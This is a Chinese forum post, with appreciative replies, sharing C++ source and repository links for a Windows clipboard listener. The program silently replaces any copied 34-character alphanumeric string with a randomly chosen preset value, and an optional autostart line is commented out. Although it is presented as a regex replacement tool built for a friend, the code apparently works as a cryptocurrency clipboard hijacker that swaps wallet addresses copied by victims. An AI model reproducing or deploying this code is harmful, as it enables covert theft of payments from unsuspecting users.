吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2284|回复: 8
收起左侧

[C&C++ 原创] C++ 剪辑版监听 正则匹配替换工具

  [复制链接]
Vvvvvoid 发表于 2022-6-26 12:10

README

帮朋友开发的, 积灰很久了
程序启动后, 会开启剪辑版监听, 当剪辑版内容与自定义的正则匹配时, 会替换成指定值

代码实现

定义

// 正则匹配规则
std::regex REGEX_VAL("[0-9a-zA-Z]{34}");

// 欲替换的值, 这里用数组, 每次取随机
std::string REPLACCE_VAL_ARRAY[] = {   
 "1234567890123456789012345678901234",
 "2234567890123456789012345678901234"
};

开启监听

// 窗口消息 callback
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    static BOOL bListening = FALSE;
    switch (uMsg) {
    case WM_CREATE:
        // 开启监听
        bListening = AddClipboardFormatListener(hWnd);
        return bListening ? 0 : -1;
    case WM_DESTROY:
        if (bListening)
        {
            RemoveClipboardFormatListener(hWnd);
            bListening = FALSE;
        }
        return 0;

    case WM_CLIPBOARDUPDATE:
        // 剪辑版更新后会触发该函数
        raplce_if_match();
        return 0;

    default:
        return DefWindowProc(hWnd, uMsg, wParam, lParam);
    }

}

// 注册窗口
int main()
{
    // auto_run(AUTH_RUN); // 这里可以配置开机自启
    // Register the window class
    WNDCLASS wc = {};
    wc.hInstance = NULL;
;
    wc.lpszClassName = "MainWindow";
    wc.lpfnWndProc = WindowProc;
    wc.hbrBackground = (HBRUSH)(GetStockObject(GRAY_BRUSH));
    RegisterClass(&wc);

    HWND hwnd = CreateWindow(
        "MainWindow", // Window class name
        "窗口名称", // Window name
        WS_OVERLAPPEDWINDOW, // Window style
        CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, // Size and position
        NULL, // Parent window
        NULL, // Menu
        NULL, // Instance handle
        NULL // Additional application data
    );

    ShowWindow(hwnd, WIN_SHOW);

    MSG msg = {};
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

正则实现


// 依赖
// #include <regex>

void raplce_if_match()
{
    HWND hWnd = NULL;

    OpenClipboard(hWnd);
    if (!IsClipboardFormatAvailable(CF_TEXT))
    {
        CloseClipboard();
        return;
    }

    HANDLE h = GetClipboardData(CF_TEXT);
    char* p = (char*)GlobalLock(h);
    std::string clipboard_val = p;
    GlobalUnlock(h);
    printf("GET Clipboard TEXT : \n----------\n%s\n----------\n", p);

    for (std::string value : REPLACCE_VAL_ARRAY)
    {
        if (strstr(p, value.c_str())) {
            CloseClipboard();
            printf(">> strstr already contains \n");
            return;
        }
    };

    // regex_match 只支持完整匹配,模糊搜索用 regex_search
    if (!regex_search(p, REGEX_VAL)) {
        printf(">> not matched\n");
        CloseClipboard();
        return;
    }

    printf(">> matched will be replaced\n");

    std::string replacce_val = REPLACCE_VAL_ARRAY[rand() % (sizeof(REPLACCE_VAL_ARRAY)/sizeof(std::string))];

    EmptyClipboard();
    HANDLE hHandle = GlobalAlloc(GMEM_FIXED, strlen(p) + 1);//分配内存
    char* pData = (char*)GlobalLock(hHandle);
    std::string out = regex_replace(p, REGEX_VAL, replacce_val, std::regex_constants::match_flag_type::format_first_only);
    strcpy(pData, out.c_str());
    SetClipboardData(CF_TEXT, hHandle);
    GlobalUnlock(hHandle);
    CloseClipboard();
}

源码

C++ 版:  https://github.com/marlkiller/ClipboardReplaceCWin
.NET 版 : https://github.com/marlkiller/ClipboardReplace

免费评分

参与人数 3吾爱币 +8 热心值 +3 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Rodelia + 1 谢谢@Thanks!
苏紫方璇 + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

bokecn 发表于 2022-6-26 12:36
感谢分享!
Xw丶小威 发表于 2022-6-26 13:17
狂侠先森 发表于 2022-6-26 14:41
楼主,你写得实在是太好了。我惟一能做的,就只有把这个帖子顶上去这件事了。
wycdd 发表于 2022-6-26 16:29
这个思路非常好,学习了
bwuaich 发表于 2022-6-26 18:28
这应该某些时候会用到; thanks for sharing
ehcapa 发表于 2022-6-26 20:45
收藏学习一下~
apath 发表于 2022-11-12 20:05
这个想法很有意思,完全可以借鉴。谢谢楼主分享。
mrtwzchi 发表于 2022-11-16 09:14
学习看看
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-25 02:51

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表